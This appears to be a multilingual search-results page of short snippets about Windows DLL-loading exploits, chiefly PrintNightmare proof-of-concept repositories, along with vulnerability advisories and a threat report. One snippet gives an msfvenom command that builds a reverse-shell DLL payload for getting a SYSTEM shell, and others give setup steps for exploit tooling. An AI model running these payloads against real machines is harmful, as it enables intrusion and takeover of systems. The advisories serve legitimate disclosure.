94 matches found
CVE-2021-1675
CVE-2021-1675 / CVE-2021-34527 Impacket 对 PrintNightmare PoC 的实现，该 PoC 最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建。 已在完全修补的 2019 域控制器上测试。 远程或本地执行恶意 DLL。 补丁更新 微软已发布补丁以缓解这些攻击，但如果机器上存在以下值，则该机器仍然容易受到攻击： REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"...
CVE-2021-1675
CVE-2021-1675 / CVE-2021-34527 Impacket による PrintNightmare PoC の実装です。元々は Zhiniang Peng @edwardzpeng と Xuefeng Li @lxf02942370 によって作成されました。 完全にパッチ適用済みの 2019 ドメインコントローラーでテスト済みです。 悪意のある DLL をリモートまたはローカルで実行します。 インストール エクスプロイトを実行する前に、私のバージョンの Impacket をインストールする必要があります。その後は準備完了です。 pip3 uninstall impack...
CVE-2021-1675
CVE-2021-1675 Impacket 实现的 PrintNightmare PoC，最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建 已在完全修补的 2019 域控制器上测试 远程或本地执行恶意 DLL 安装 在运行漏洞利用程序之前，你需要先安装我的 Impacket 版本，之后就没问题了。 pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install...
SpoolSploit
SpoolSploit Windowsのプリントスプーラーのエクスプロイトを集め、他のユーティリティとともにコンテナ化し、実用的な悪用を可能にします。 概要 SpoolSploitは、Windowsのプリントスプーラーのエクスプロイトを集め、他のユーティリティとともにコンテナ化し、実用的な悪用を可能にするものです。特権を昇格させ、エンドポイント上で完全なシステムアクセス権を持つ悪意のあるDLLを実行するために、マシンアカウントの資格情報をリレーする非常に効果的な方法がいくつかあります。 はじめに 本リリース時点では、SpoolSploit...
CVE-2021-1675
CVE-2021-1675 / CVE-2021-34527 ImpacketによるPrintNightmare PoCの実装。元はZhiniang Peng @edwardzpeng とXuefeng Li @lxf02942370 によって作成されました。 完全にパッチが適用された2019 Domain Controllerでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチ更新 Microsoftはこれらの攻撃を軽減するためのパッチをリリースしましたが、以下の値がマシンに存在する場合、マシンは依然として脆弱です REG QUERY...
NimNightmare
CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...
CVE-2022-26809
CVE-2021-1675 / CVE-2021-34527 Impacket実装のPrintNightmare PoC、元はZhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370によって作成されました 完全にパッチ適用された2019ドメインコントローラでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチアップデート Microsoftはこれらの攻撃を緩和するパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です REG QUERY...
cube0x0-CVE-2021-1675
CVE-2021-1675 / CVE-2021-34527 Impacket 实现的 PrintNightmare PoC，最初由 Zhiniang Peng @edwardzpeng 和 Xuefeng Li @lxf02942370 创建 已在完全修补的 2019 域控制器上测试 远程或本地执行恶意 DLL 补丁更新 Microsoft 已发布补丁以缓解这些攻击，但如果机器上存在以下值，则该机器仍然存在漏洞 REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"...
CVE-2021-40444-exp
CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word リモートコード実行 を悪用する悪意のある docx 生成ツール このスクリプトの作成は、実際に使用されたサンプル docx ファイル: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 のリバースエンジニアリングに基づいています。 最初に lcab をインストールする必要があります sudo apt-get install lcab 手動での再現手順は REPRODUCE.md を確認してください...
RunAsWinTcb
RunAsWinTcb 概述 RunAsWinTcb 利用用户态漏洞，以 WinTcb-Light 保护级别运行 DLL。 有关该漏洞及漏洞利用能力的概述可在此处找到： https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387 用法 命令：RunAsWinTcb.exe POCDLL.dll 终止 Windows Defender：...
ClearFake WebDAV infection chain delivers Amatera stealer, ZigCryptoStealer, and NetSupport Manager
Cisco Talos began an investigation after observing a DLL named "verification.google" executing from WebDAV at a Ukrainian government organization. We assess with moderate confidence that the attacks are not targeted at a particular organization, but are a part of a cryptocurrency and...
CVE-2026-5397 Vulnerability Related to an Uncontrolled Search Path Element in a UPS Management Application
It has been identified that a vulnerability CWE-427 exists in the UPS Uninterruptible Power Supply management application, whereby improper permissions on the installation directory allow a malicious actor to place a DLL that is then executed with administrator privileges. If a malicious DLL is...
CVE-2020-7474
A CWE-427: Uncontrolled Search Path Element vulnerability exists in ProSoft Configurator v1.002 and prior, for the PMEPXM0100 H module, which could cause the execution of untrusted code when using double click to open a project file which may trigger execution of a malicious DLL...
CVE-2020-10626
In Fazecast jSerialComm, Version 2.2.2 and prior, an uncontrolled search path element vulnerability could allow a malicious DLL file with the same name of any resident DLLs inside the software installation to execute arbitrary code...
CVE-2019-16861
Code42 server through 7.0.2 for Windows has an Untrusted Search Path. In certain situations, a non-administrative attacker on the local server could create or modify a dynamic-link library DLL. The Code42 service could then load it at runtime, and potentially execute arbitrary code at an elevated...
CVE-2024-2658
A misconfiguration in lmadmin.exe of FlexNet Publisher versions prior to 2024 R1 11.19.6.0 allows the OpenSSL configuration file to load from a non-existent directory. An unauthorized, locally authenticated user with low privileges can potentially create the directory and load a specially crafted...
CVE-2025-59485
Incorrect default permissions issue exists in Security Point Windows of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a...
CVE-2025-59485
Incorrect default permissions issue exists in Security Point Windows of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a...
PT-2025-48023
Incorrect default permissions issue exists in Security Point Windows of MaLion prior to Ver.5.3.4. If this vulnerability is exploited, an arbitrary file could be placed in the specific folder by a user who can log in to the system where the product's Windows client is installed. If the file is a...
